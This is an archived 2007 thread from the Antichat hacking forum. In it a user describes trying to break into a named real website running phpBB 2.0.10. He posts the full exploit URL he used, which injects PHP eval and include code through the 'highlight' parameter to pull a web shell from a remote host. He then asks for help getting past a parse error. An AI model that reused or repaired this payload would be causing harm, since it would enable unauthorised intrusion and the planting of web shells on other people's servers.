Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   Проблема с заливкой шелла в phpbb 2.0.10 (https://forum.antichat.xyz/showthread.php?t=37084)

Kozak-Scv 03.04.2007 18:54

Проблема с заливкой шелла в phpbb 2.0.10
 
Решил ломануть форум _http://motodom.net/php/index.php узнал что версия форума phpBB 2.0.10 могу ошибатся узнал так если 2 раза ножимать по одной и той же теме то в адресной строке появлется вот это _http://www.motodom.net/php/index.php?name=PNphpBB2&file=viewtopic&t=4540&star t=0&postdays=0&postorder=asc&highlight=&sid=12e698 0a6353178ed84ffa9356a213d5
как видете есть уязвимость highlight пытаюсь залить щелл вот такой командой _http://www.motodom.net/php/index.php?name=PNphpBB2&file=viewtopic&t=4540 и приписываю вот это "&highlight=%2527.eval($_GET[c1]).%2527&c1=include($_GET[c2])&c2=http://your.site.com/shell.php" и васкакивает вот такое сообшение "Parse error: parse error in /www/1vhosts/motodom.net/html/php/modules/PNphpBB2/viewtopic.php(1428) : regexp code(1) : eval()'d code on line 1
" Подскажите что делать????


Время: 09:21